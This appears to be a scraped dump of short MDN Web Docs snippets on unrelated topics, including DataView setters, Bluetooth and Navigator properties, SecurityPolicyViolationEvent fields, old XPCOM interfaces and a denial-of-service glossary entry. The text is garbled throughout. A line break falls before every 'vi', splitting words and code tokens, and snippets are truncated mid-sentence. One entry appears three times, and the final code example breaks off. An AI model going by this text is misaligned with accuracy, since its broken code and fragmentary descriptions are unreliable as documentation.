view.setint8(byteoffset, value) parameters byteoffset the offset, in byte, from the start of the
view where to store the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the
view.
... examples using the setint8 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setint8(1, 3); data
view.getint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setint8' in that specification.
DataView.prototype.setUint16() - JavaScript
the setuint16() method stores an unsigned 16-bit integer (unsigned short) value at the specified byte offset from the start of the data
view.
... syntax data
view.setuint16(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to store the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the
view.
... examples using the setuint16 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setuint16(1, 3); data
view.getuint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setuint16' in that specification.
DataView.prototype.setUint32() - JavaScript
the setuint32() method stores an unsigned 32-bit integer (unsigned long) value at the specified byte offset from the start of the data
view.
... syntax data
view.setuint32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte, from the start of the
view where to store the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the
view.
... examples using the setuint32 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setuint32(1, 3); data
view.getuint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setuint32' in that specification.
DataView.prototype.setUint8() - JavaScript
the setuint8() method stores an unsigned 8-bit integer (byte) value at the specified byte offset from the start of the data
view.
... syntax data
view.setuint8(byteoffset, value) parameters byteoffset the offset, in byte, from the start of the
view where to store the data.
... errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the
view.
... examples using the setuint8 method var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.setuint8(1, 3); data
view.getuint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.setuint8' in that specification.
Guide to streaming audio and video - Web media technologies
in this guide, we'll examine the techniques used to stream audio and/or
video media on the web, and how you can optimize your code, your media, your server, and the options you use while performing the streaming to bring out the best quality and performance possible.
...hls may also be supported in other en
vironments, although in some cases this support is conditional.
...for example, hls lets the server stream a
video with multiple audio streams which the user can choose from, in order to hear their own language.
... additionally, forms of the stream can be pro
vided which are optimized for different network conditions.
Specification Deviations - SVG: Scalable Vector Graphics
there are a few places where we have consciously decided to make gecko de
viate from or extend the svg specification.
... this page lists those de
viations/extensions and our reasoning for them.
...in general this change will not be
visible to svg authors (the elements for which the svg specification does not define the 'class' and 'style' attribute are elements that are not displayed directly).
...extending the 'style' attribute to apply to all svg elements should only really be
visible to svg authors if they call
viewcss.getcomputedstyle on the element or one of its descendants.
Window: deviceproximity event - Archive of obsolete content
the de
viceproximity event is fired when fresh data is available from a proximity sensor.
... note: this event has been disabled by default in firefox 62, behind the de
vice.sensors.proximity.enabled preference (bug 1462308).
... bubbles no cancelable no interface de
viceproximityevent target default
view (window) default action none event handler property window.onde
viceproximity specification proximity sensor other properties property type description value read only double (float) the measured proximity of the distant de
vice (distance in centimetres).
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
build create a new project in
visual studio for a win32 gui library (dll) (in .net 2003: win32 template, then switch to dll in application settings in the following dialog, export symbols too?)(in
visual studio 2008, it is
visualc++|win32|win32 project, then check dll in the wizard).
...note: if your project is still empty, the c++ tree might not be
visible.
...
visual c++ 2008 express don't support c99 standard about int32_t, uint32_t.
HTTP Class Overview - Archive of obsolete content
this document pro
vides an over
view of the classes used by the mozilla http implementation.
... nshttphandler implements nsiprotocolhandler manages preferences owns the authentication cache holds references to frequently used ser
vices nshttpchannel implements nsihttpchannel talks to the cache initiates http transactions processes http response codes intercepts progress notifications nshttpconnection implements nsistreamlistener & nsistreampro
vider talks to the socket transport ser
vice feeds data to its transaction object routes progress notifications nshttpconnectioninfo identifies a connection nshttptransaction implements nsirequest encapsulates a http request and response parses incoming data nshttpchunkeddecoder owned by a transaction strips...
...s for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original document information author(s): darin fisher last updated date: august 5, 2002 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
builderView - Archive of obsolete content
« xul reference builder
view type: nsixultreebuilder a reference to the tree builder which constructed the tree data.
... the builder pro
vides access to the rdf resources for each row in the tree, and allows sorting the data by column.
... in newer versions of mozilla, the builder
view property is actually a synonym for the
view property, since the two interfaces are flattened together into a single interface in javascript.
What XULRunner Provides - Archive of obsolete content
the goal of xulrunner is to pro
vide a solution for deploying xul applications (primarily firefox and thunderbird), as well as pro
viding an embedding mechanism.
... the following features are either already implemented or planned: gecko features xpcom networking gecko rendering engine dom editing and transaction support (no ui) cryptography xbl (xbl2 planned) xul svg xslt xml extras (xmlhttprequest, domparser, etc.) web ser
vices (soap) auto-update support (not yet complete) type ahead find toolbar history implementation (the places implementation in the 1.9 cycle) accessibility support ipc ser
vices for communication between gecko-based apps (not yet complete) storage/sqlite interfaces user interface features the following user interface is supplied by xulrunner, and may be overridden by embedders under certain circumstances: apis and user interface for installing, uninstalling, and upgrading xul applications.
... extension manager file picker (uses native os filepicker as appropriate) find toolbar helper app dialog/ui security ui (maintenance of ssl keychains, etc) embedding apis the following embedding apis are pro
vided by xulrunner: cross-platform embedding (xre_initembedding) javaxpcom embedding gtkmozembed (linux only) activex control (windows only) (not yet complete) obsolete since gecko 7.0 ns
view-based-widget (mac os x only) (not yet complete) the "maybe" list the following features have been discussed and may be included if developer time permits and code size is controlled: ldap support spellchecking support (with or without dictionaries pro
vided) see bug 285977 core support for profile roaming (with application-specific e...
Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
dos (denial of ser
vice) is a network attack that prevents legitimate use of server resources by flooding the server with requests.
... there are also distributed denial of ser
vice (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer.
...here is a non-exhaustive list of dos attack types: bandwidth attack ser
vice request flood syn flooding attack icmp flood attack peer-to-peer attack permanent dos attack application level flood attack learn more denial-of-ser
vice attack on wikipedia denial-of-ser
vice on owasp ddos ...
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
a fa
vicon (favorite icon) is a tiny icon included along with a website, which is displayed in places like the browser's address bar, page tabs and bookmarks menu.
... note, however, that most modern browsers replaced the fa
vicon from the address bar by an image indicating whether or not the website is using https.
... usually, a fa
vicon is 16 x 16 pixels in size and stored in the gif, png, or ico file format.
Profiling with Concurrency Visualizer - Performance
concurrency
visualizer is an excellent alternative to xperf.
... in newer versions of
visual studio, it is an addon that needs to be downloaded.
... here are some scripts that you can be used for manipulating the profiles that have been exported to csv: https://github.com/jrmuizel/concurrency-
visualizer-scripts ...
mozIVisitStatusCallback
toolkit/components/places/moziasynchistory.idlscriptable this interface pro
vides callback handling functionality for moziasynchistory.isuri
visited 1.0 66 introduced gecko 11.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) method over
view void is
visited(in nsiuri auri, in boolean a
visitedstatus); methods is
visited() called when the moziasynchistory.isuri
visited() method's check to determine whether a given uri has been
visited has completed.
...void is
visited( in nsiuri auri, in boolean a
visitedstatus ); parameters auri the uri that was checked to see if it's been
visited.
... a
visitedstatus true if the specified uri has been
visited; otherwise false.
nsIAccessibilityService
accessible/public/nsiaccessibilityser
vice.idlscriptable please add a summary to this article.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsiaccessibleretrieval method over
view nsiaccessible createouterdocaccessible(in nsidomnode anode); nsiaccessible createrootaccessible(in nsipresshell ashell, in nsidocument adocument); nsiaccessible createhtml4buttonaccessible(in nsisupports aframe); nsiaccessible createhypertextaccessible(in nsisupports aframe); nsiaccessible createhtmlbraccessible(in nsisupports aframe); nsiaccessible createhtmlbuttonaccessible(in nsisupports aframe); nsiaccessible createhtmlaccessiblebymarkup(in nsiframe aframe, in nsiweakreference aweakshell, in nsidomnode adomnode); nsiaccessible createhtmlliaccessible(in nsisupports aframe, in nsisupports abulletframe, in astring abullettext); ns...
...must be one of: event_reorder (change) event_show (make
visible or create) or event_hide (destroy or hide) ...
nsIAccessibleProvider
accessible/public/nsiaccessiblepro
vider.idlscriptable used to link element and accessible object.
... constants common use constants constant value description noaccessible 0 do not create an accessible for this object this is useful if an ancestor binding already implements nsiaccessiblepro
vider, but no accessible is desired for the inheriting binding.
... xultext 0x0000101a xultextbox 0x0000101b xulthumb 0x0000101c xultree 0x0000101d xultreecolumns 0x0000101e xultreecolumnitem 0x0000101f xultoolbar 0x00001020 xultoolbarseparator 0x00001021 xultooltip 0x00001022 xultoolbarbutton 0x00001023 xforms elements constants constant value description xformscontainer 0x00002000 used for xforms elements that pro
vide accessible object for itself as well for anonymous content.
nsICookiePromptService
the nsicookiepromptser
vice interface is to open a dialog to ask to permission to accept the cookie.
... extensions/cookie/nsicookiepromptser
vice.idlscriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view long cookiedialog(in nsidomwindow parent, in nsicookie cookie, in acstring hostname, in long cookiesfromhost, in boolean changingcookie, out boolean rememberdecision); constants constant value description deny_cookie 0 holds the value for a denying the cookie.
nsIJetpackService
js/jetpack/nsijetpackser
vice.idlscriptable this interface enables the creation of new jetpack processes.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/jetpack/ser
vice;1.
... method over
view nsijetpack createjetpack(); methods createjetpack() this method creates a new jetpack process and returns an nsijetpack interface that represents it.
nsILocaleService
intl/locale/idl/nsilocaleser
vice.idlscriptable the locale ser
vice interface.
... 1.0 66 introduced gecko 1.6 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/intl/nslocaleser
vice;1.
... to use this ser
vice, use: var localeser
vice = components.classes["@mozilla.org/intl/nslocaleser
vice;1"] .getser
vice(components.interfaces.nsilocaleser
vice); method over
view nsilocale getapplicationlocale(); astring getlocalecomponentforuseragent(); nsilocale getlocalefromacceptlanguage(in string acceptlanguage); nsilocale getsystemlocale(); nsilocale newlocale(in astring alocale); nsilocale newlocaleobject(in nsilocaledefinition localedefinition); obsolete since gecko 1.9 methods getapplicationlocale() gets the user preference for locale from the operating system.
nsIMsgDBViewCommandUpdater
the nsimsgdb
viewcommandupdater interface controls changes that occur as the selection changes.
... mailnews/base/public/nsimsgdb
view.idl#349scriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports in thunderbird this is implemented for different windows in several different places: nsmsgdb
viewcommandupdater (for the standalone message window) nsmsgdb
viewcommandupdater (for the threadpane message window) nsmsgsearchcommandupdater (for search dialogs) method over
view void updatecommandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updatecommandstatus() called when the number of selected items changes.
nsIPrefService
modules/libpref/public/nsiprefser
vice.idlscriptable this interface is the main entry point into the back end preferences management library.
... the preference ser
vice is directly responsible for the management of the preferences files and also facilitates access to the preference branch object which allows the direct manipulation of the preferences themselves.
... inherits from: nsisupports last changed in gecko 1.7 method over
view nsiprefbranch getbranch(in string aprefroot); nsiprefbranch getdefaultbranch(in string aprefroot); void readuserprefs(in nsifile afile); void resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbranch() call to get a preferences "branch" which accesses user preference data.
nsIWindowsShellService
browser/components/shell/public/nsiwindowsshellser
vice.idlscriptable please add a summary to this article.
... inherits from: nsishellser
vice last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view string getregistryentry(in long ahkeyconstant, in string asubkeyname, in string avaluename); obsolete since gecko 1.8 void restorefilesettings(in boolean aforallusers); obsolete since gecko 1.9 void shortcutmaintenance(); attributes attribute type description desktopbackgroundcolor unsigned long the desktop background color,
visible when no background image is used, or if the background image is centered and does not fill the entire screen.
... shortcutmaintenance() pro
vides the shell ser
vice an opportunity to do some win7+ shortcut maintenance needed on initial startup of the browser.
Bluetooth.referringDevice - Web APIs
the bluetooth.referringde
vice attribute of the bluetooth interface returns a bluetoothde
vice if the current document was opened in response to an instruction sent by this de
vice and null otherwise.
... syntax bluetooth.referringde
vice value a bluetoothde
vice, if the document was opened in response to an instruction sent by this de
vice and null otherwise.
... specifications specification status comment web bluetooththe definition of 'referringde
vice' in that specification.
BluetoothDevice.uuids - Web APIs
use bluetoothremotegattserver.getprimaryser
vices instead.
... the bluetoothde
vice.uuids read-only property lists the uuids of gatt ser
vices pro
vided by the de
vice, that the current origin is allowed to access.
... syntax var uuids[] = instanceofbluetoothde
vice.uuids returns an array.
BluetoothRemoteGATTCharacteristic.service - Web APIs
the bluetoothremotegattcharacteristic.ser
vice read-only property returns the bluetoothgattser
vice this characteristic belongs to.
... syntax var bluetoothremotegattser
viceinstance = bluetoothremotegattcharacteristic.ser
vice returns an instance bluetoothgattser
vice.
... specifications specification status comment web bluetooththe definition of 'ser
vice' in that specification.
device - Web APIs
the bluetoothgattser
vice.de
vice read-only property returns information about a bluetooth de
vice through an instance of bluetoothde
vice.
... syntax var bluetoothde
viceinstance = bluetoothgattser
vice.de
vice returns an instance of bluetoothde
vice.
... specifications specification status comment web bluetooththe definition of 'de
vice' in that specification.
DeviceMotionEventAcceleration: x - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the x axis in a de
vicemotioneventacceleration object.
... syntax var xaccel = de
vicemotioneventacceleration.x; return value x a double indicating the amount of acceleration along the x axis.
... specifications specification status comment de
viceorientation event specificationthe definition of 'de
vicemotioneventacceleration: x' in that specification.
DeviceMotionEventAcceleration: y - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the y axis in a de
vicemotioneventacceleration object.
... syntax var yaccel = de
vicemotioneventacceleration.y; return value y a double indicating the amount of acceleration along the y axis.
... specifications specification status comment de
viceorientation event specificationthe definition of 'de
vicemotioneventacceleration: y' in that specification.
DeviceMotionEventAcceleration: z - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the z axis in a de
vicemotioneventacceleration object.
... syntax var zaccel = de
vicemotioneventacceleration.z; return value z a double indicating the amount of acceleration along the z axis.
... specifications specification status comment de
viceorientation event specificationthe definition of 'de
vicemotioneventacceleration: z' in that specification.
DeviceMotionEventRotationRate: alpha - Web APIs
this property indicates the rate of rotation around the z axis -- in degrees per second -- in a de
vicemotioneventrotationrate object.
... syntax var alpha = de
vicerotationrate.alpha; this property is read-only.
... specifications specification status comment de
viceorientation event specificationthe definition of 'de
vicemotioneventrotationrate: alpha' in that specification.
DeviceMotionEventRotationRate: beta - Web APIs
this property indicates the rate of rotation around the x axis -- in degrees per second -- in a de
vicemotioneventrotationrate object.
... syntax var beta = de
vicerotationrate.beta; this property is read-only.
... specifications specification status comment de
viceorientation event specificationthe definition of 'de
vicemotioneventrotationrate: beta' in that specification.
DeviceMotionEventRotationRate: gamma - Web APIs
this property indicates the rate of rotation around the y axis -- in degrees per second -- in a de
vicemotioneventrotationrate object.
... syntax var gamma = de
vicerotationrate.gamma; this property is read-only.
... specifications specification status comment de
viceorientation event specificationthe definition of 'de
vicemotioneventrotationrate: gamma' in that specification.
DeviceOrientationEvent.absolute - Web APIs
indicates whether or not the de
vice is pro
viding orientation data absolutely (that is, in reference to the earth's coordinate frame) or using some arbitrary frame determined by the de
vice.
... syntax var absolute = instanceofde
viceorientationevent.absolute; on return, absolute is true if the orientation data in instanceofde
viceorientationevent is pro
vided as the difference between the earth's coordinate frame and the de
vice's coordinate frame, or false if the orientation data is being pro
vided in reference to some arbitrary, de
vice-determined coordinate frame.
... specifications specification status comment de
viceorientation event specification editor's draft initial specification.
Document.onvisibilitychange - Web APIs
the document.on
visibilitychange property represents the event handler that is called when a
visibilitychange event reaches this object.
... syntax obj.on
visibilitychange = function; function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration.
... example document.on
visibilitychange = function() { console.log("
visibility of page has changed!"); }; specifications specification status comment page
visibility (second edition)the definition of 'on
visibilitychange' in that specification.
HTMLVideoElement.msFrameStep() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the html
videoelement.msframestep() method steps the
video by one frame forward or one frame backward.
... syntax html
videoelement.msframestep(forward); parameters forward a boolean which if set to true steps the
video forward by one frame, if false steps the
video backwards by one frame.
onMSVideoFormatChanged - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... onms
videoformatchanged is an event which occurs when the
video format changes.
... syntax value description event property object.onms
videoformatchanged = handler; attachevent method object.attachevent("onms
videoformatchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also html
videoelement microsoft api extensions ...
onMSVideoFrameStepCompleted - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... onms
videoframestepcompleted is an event which occurs when the
video frame has been stepped forward or backward one frame.
... syntax value description event property object.onms
videoframestepcompleted = handler; attachevent method object.attachevent("onms
videoframestepcompleted", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also html
videoelement microsoft api extensions ...
onMSVideoOptimalLayoutChanged - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... onms
videooptimallayoutchanged is an event which occurs when the msislayoutoptimalforplayback state changes.
... syntax value description event property object.onms
videooptimallayoutchanged = handler; attachevent method object.attachevent("onms
videooptimallayoutchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) synchronous no bubbles no cancelable no see also msislayoutoptimalforplayback html
videoelement microsoft api extensions ...
MediaDeviceInfo.label - Web APIs
the label readonlyinline property of the mediade
viceinfo interface returns a domstring, that is a label describing this de
vice (for example "external usb webcam").
... syntax var label = mediade
viceinfo.label; value a domstring which describes the media de
vice.
... for security reasons, the label is always an empty string ("") if the user has not obtained permission to use at least one media de
vice, either by starting a stream from the microphone or camera, or by persistent permissions being granted.
MediaDevices.getSupportedConstraints() - Web APIs
the getsupportedconstraints() method of the mediade
vices interface returns an object based on the mediatracksupportedconstraints dictionary, whose member fields each specify one of the constrainable properties the user agent understands.
... syntax var supportedconstraints = na
vigator.mediade
vices.getsupportedconstraints(); parameters none.
... html <p>the following media constraints are supported by your browser:</p> <ul id="constraintlist"> </ul> css body { font: 15px arial, sans-serif; } javascript let constraintlist = document.getelementbyid("constraintlist"); let supportedconstraints = na
vigator.mediade
vices.getsupportedconstraints(); for (let constraint in supportedconstraints) { if (supportedconstraints.hasownproperty(constraint)) { let elem = document.createelement("li"); elem.innerhtml = "<code>" + constraint + "</code>"; constraintlist.appendchild(elem); } } result specifications specification status comment media capture and strea...
Navigator.connection - Web APIs
the na
vigator.connection read-only property returns a networkinformation object containing information about the system's connection, such as the current bandwidth of the user's de
vice or whether the connection is metered.
... syntax networkinformation = na
vigator.connection value a networkinformation object.
... specifications specification status comment network information apithe definition of 'na
vigator.connection' in that specification.
Navigator.credentials - Web APIs
the credentials property of the na
vigator interface returns the credentialscontainer interface, which exposes methods to request credentials.
... syntax var credentialscontainer = na
vigator.credentials value the credentialscontainer interface.
... example if ('credentials' in na
vigator) { na
vigator.credentials.get({password: true}) .then(function(creds) { //do something with the credentials.
Navigator.mediaCapabilities - Web APIs
the na
vigator.mediacapabilities read-only property returns a mediacapabilities object that can expose information about the decoding and encoding capabilities for a given format and output capabilities as defined by the media capabilities api.
... syntax mediacapabilitiesobj = globalobj.na
vigator.mediacapabilities value a mediacapabilities object.
... examples na
vigator.mediacapabilities.decodinginfo({ type : 'file', audio : { contenttype : "audio/mp3", channels : 2, bitrate : 132700, samplerate : 5200 } }).then(function(result) { console.log('this configuration is ' + (result.supported ?
Navigator.mozIsLocallyAvailable() - Web APIs
the na
vigator.mozislocallyavailable() method allows add-ons to determine whether or not a given resource is available.
... syntax na
vigator.mozislocallyavailable(uri, ifoffline); parameters uri the uri of the resource whose availability is to be checked, as a string.
... example var available = na
vigator.mozislocallyavailable("my-image-file.png", true); if (available) { /* the offline resource is present */ } else { console.log("certain needed resources are not available offline"); } specifications not part of any specifications.
Navigator.permissions - Web APIs
the na
vigator.permissions read-only property returns a permissions object that can be used to query and update permission status of apis covered by the permissions api.
... syntax permissionsobj = globalobj.na
vigator.permissions value a permissions object.
... examples na
vigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state === 'granted') { showmap(); } else if (result.state === 'prompt') { showbuttontoenablemap(); } // don't do anything if the permission was denied.
Navigator.registerContentHandler() - Web APIs
syntax na
vigator.registercontenthandler(mimetype, uri, title); mimetype is the desired mime type as a string.
... example na
vigator.registercontenthandler( "application/vnd.mozilla.maybe.feed", "http://www.example.tld/?foo=%s", "my feed reader" ); notes for firefox 2 and above, only the application/vnd.mozilla.maybe.feed, application/atom+xml, and application/rss+xml mime types are supported.
... recommendation this feature is present in html 5.2, but has since been removed from the whatwg html li
ving standard.
Navigator.vendorSub - Web APIs
the value of the na
vigator.vendorsub property is always the empty string, in any browser.
... syntax vensub = window.na
vigator.vendorsub value the empty string specifications specification status comment html li
ving standardthe definition of 'na
vigatorid: vendorsub' in that specification.
... li
ving standard initial definition ...
NavigatorID.taintEnabled() - Web APIs
the na
vigatorid.taintenabled() method always returns false.
... syntax result = window.na
vigator.taintenabled() specifications specification status comment html li
ving standardthe definition of 'na
vigatorid.taintenabled' in that specification.
... li
ving standard initial definition ...
NavigatorPlugins.javaEnabled() - Web APIs
syntax result = window.na
vigator.javaenabled() example if (window.na
vigator.javaenabled()) { // browser has java } notes the return value for this method indicates whether the preference that controls java is on or off - not whether the browser offers java support in general.
... specifications specification status comment html li
ving standardthe definition of 'na
vigatorplugins.javaenabled' in that specification.
... li
ving standard initial definition.
NavigatorPlugins.mimeTypes - Web APIs
syntax var mimetypes[] = na
vigator.mimetypes; mimetypes is a mimetypearray object which has a length property as well as item(index) and nameditem(name) methods.
... example function isjavapresent() { return 'application/x-java-applet' in na
vigator.mimetypes; } function getjavaplugindescription() { var mimetype = na
vigator.mimetypes['application/x-java-applet']; if (mimetype === undefined) { // no java plugin present return undefined; } return mimetype.enabledplugin.description; } specifications specification status comment html li
ving standardthe definition of 'na
vigatorplugins.mimetypes' in that specification.
... li
ving standard initial definition.
PaintWorklet.devicePixelRatio - Web APIs
the paintworklet.de
vicepixelratio read-only property of the paintworklet interface returns the current de
vice's ratio of physical pixels to logical pixels.
... syntax var de
vicepixelratio = paintworklet.de
vicepixelratio; value a double-precision integer.
... specifications specification status comment css painting api level 1the definition of 'paintworklet.de
vicepixelratio' in that specification.
PaintWorklet.devicePixelRatio - Web APIs
the paintworklet.de
vicepixelratio read-only property of the paintworklet interface returns the current de
vice's ratio of physical pixels to logical pixels.
... syntax var de
vicepixelratio = paintworklet.de
vicepixelratio; value a double-precision integer.
... specifications specification status comment css painting api level 1the definition of 'paintworklet.de
vicepixelratio' in that specification.
PaintWorklet.devicePixelRatio - Web APIs
the paintworklet.de
vicepixelratio read-only property of the paintworklet interface returns the current de
vice's ratio of physical pixels to logical pixels.
... syntax var de
vicepixelratio = paintworklet.de
vicepixelratio; value a double-precision integer.
... specifications specification status comment css painting api level 1the definition of 'paintworklet.de
vicepixelratio' in that specification.
Performance.navigation - Web APIs
this property is deprecated in the na
vigation timing level 2 specification.
... the legacy performance.na
vigation read-only property returns a performancena
vigation object representing the type of na
vigation that occurs in the given browsing context, such as the number of redirections needed to fetch the resource.
... syntax navobject = performance.na
vigation; specifications specification status comment na
vigation timingthe definition of 'performance.na
vigation' in that specification.
PerformanceNavigationTiming.toJSON() - Web APIs
the tojson() method is a serializer - it returns a json representation of the performancena
vigationtiming object.
... syntax json = resourceperfentry.tojson(); arguments none return value json a json object that is the serialization of the performancena
vigationtiming object as a map with entries from the closest inherited interface and with entries for each of the serializable attributes.
... example // get a resource performance entry var perfentries = performance.getentriesbytype("na
vigation"); var entry = perfentries[0]; // get the json and log it var json = entry.tojson(); var s = json.stringify(json); console.log("performancena
vigationtiming.tojson() = " + s); specifications specification status comment na
vigation timing level 2the definition of 'tojson()' in that specification.
RTCPeerConnection.setIdentityProvider() - Web APIs
the rtcpeerconnection.setidentitypro
vider() method sets the identity pro
vider (idp) to the triplet given in parameter: its name, the protocol used to communicate with it (optional) and an optional username.
... syntax pc.setidentitypro
vider(domainname [, protocol] [, username]); there is no return value for this method.
... example var pc = new peerconnection(); pc.setidentityassertion("developer.mozilla.org"); specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.setidentitypro
vider()' in that specification.
ReadableStreamBYOBRequest.respondWithNewView() - Web APIs
the respondwithnew
view() method of the readablestreambyobrequest interface xxx syntax readablestreambyobrequestinstance.respondwithnew
view(
view); parameters
view xxx return value void.
... specifications specification status comment streamsthe definition of 'respondwithnew
view()' in that specification.
... li
ving standard initial definition.
SecurityPolicyViolationEvent.blockedURI - Web APIs
the blockeduri read-only property of the securitypolicy
violationevent interface is a usvstring representing the uri of the resource that was blocked because it
violates a policy.
... syntax let blockeduri =
violationeventinstance.blockeduri; value a usvstring representing the uri of the blocked resource.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.blockeduri); }); specifications specification status comment content security policy level 3the definition of 'blockeduri' in that specification.
SecurityPolicyViolationEvent.columnNumber - Web APIs
the columnnumber read-only property of the securitypolicy
violationevent interface is the column number in the document or worker at which the
violation occurred.
... syntax let colnum =
violationeventinstance.columnnumber; value a number representing the column number where the
violation occurred.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.columnnumber); }); specifications specification status comment content security policy level 3the definition of 'columnnumber' in that specification.
SecurityPolicyViolationEvent.disposition - Web APIs
the disposition read-only property of the securitypolicy
violationevent interface indicates how the
violated policy is configured to be treated by the user agent.
... syntax let disposition =
violationeventinstance.disposition; value a value defined in the securitypolicy
violationeventdisposition enum representing the uri of the blocked resource.
... possible values are "enforce" or "report" example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.disposition); }); specifications specification status comment content security policy level 3the definition of 'disposition' in that specification.
SecurityPolicyViolationEvent.documentURI - Web APIs
the documenturi read-only property of the securitypolicy
violationevent interface is a usvstring representing the uri of the document or worker in which the
violation was found.
... syntax let documenturi =
violationeventinstance.documenturi; value a usvstring representing the uri of the document or worker in which the
violation was found.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.documenturi); }); specifications specification status comment content security policy level 3the definition of 'documenturi' in that specification.
SecurityPolicyViolationEvent.effectiveDirective - Web APIs
the effectivedirective read-only property of the securitypolicy
violationevent interface is a domstring representing the directive whose enforcement uncovered the
violation.
... syntax let effdir =
violationeventinstance.effectivedirective; value a domstring representing the directive whose enforcement uncovered the
violation.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.effectivedirective); }); specifications specification status comment content security policy level 3the definition of 'effectivedirective' in that specification.
SecurityPolicyViolationEvent.lineNumber - Web APIs
the linenumber read-only property of the securitypolicy
violationevent interface is the line number in the document or worker at which the
violation occurred.
... syntax let linenumber =
violationeventinstance.linenumber; value a number representing the line number at which the
violation occurred.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.linenumber); }); specifications specification status comment content security policy level 3the definition of 'linenumber' in that specification.
SecurityPolicyViolationEvent.originalPolicy - Web APIs
the originalpolicy read-only property of the securitypolicy
violationevent interface is a domstring containing the policy whose enforcement uncovered the
violation.
... syntax let origpolicy =
violationeventinstance.originalpolicy; value a domstring representing the policy whose enforcement uncovered the
violation.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.originalpolicy); }); specifications specification status comment content security policy level 3the definition of 'originalpolicy' in that specification.
SecurityPolicyViolationEvent.referrer - Web APIs
the referrer read-only property of the securitypolicy
violationevent interface is a usvstring representing the referrer of the resources whose policy was
violated.
... syntax let referrer =
violationeventinstance.referrer; value a usvstring representing the url of the referrer of the
violating resources.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.referrer); }); specifications specification status comment content security policy level 3the definition of 'referrer' in that specification.
SecurityPolicyViolationEvent.sourceFile - Web APIs
the sourcefile read-only property of the securitypolicy
violationevent interface is a usvstring representing the uri of the document or worker in which the
violation was found.
... syntax let source =
violationeventinstance.sourcefile; value a usvstring representing the uri of the document or worker in which the
violation was found.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.sourcefile); }); specifications specification status comment content security policy level 3the definition of 'sourcefile' in that specification.
SecurityPolicyViolationEvent.statusCode - Web APIs
the statuscode read-only property of the securitypolicy
violationevent interface is a number representing the http status code of the document or worker in which the
violation occurred.
... syntax let status =
violationeventinstance.statuscode; value a number representing the status code of the document or worker in which the
violation occurred.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.statuscode); }); specifications specification status comment content security policy level 3the definition of 'statuscode' in that specification.
ServiceWorker.scriptURL - Web APIs
returns the ser
viceworker serialized script url defined as part of ser
viceworkerregistration.
... must be on the same origin as the document that registers the ser
viceworker.
... syntax someurl = ser
viceworker.scripturl value a usvstring (see the webidl definition of usvstring.) examples tbd specifications specification status comment ser
vice workersthe definition of 'scripturl' in that specification.
ServiceWorkerContainer: message event - Web APIs
the message event is used in a page controlled by a ser
vice worker to receive messages from the ser
vice worker.
... bubbles no cancelable no interface messageevent event handler property onmessage examples in this example the ser
vice worker get the client's id from a fetch event and then sends it a message using client.postmessage: // in the ser
vice worker async function messageclient(clientid) { const client = await clients.get(clientid); client.postmessage('hi client!'); } addeventlistener('fetch', (event) => { messageclient(event.clientid); event.respondwith(() => { // ...
... }); }); the client can receive the message by listening to the message event: // in the page being controlled na
vigator.ser
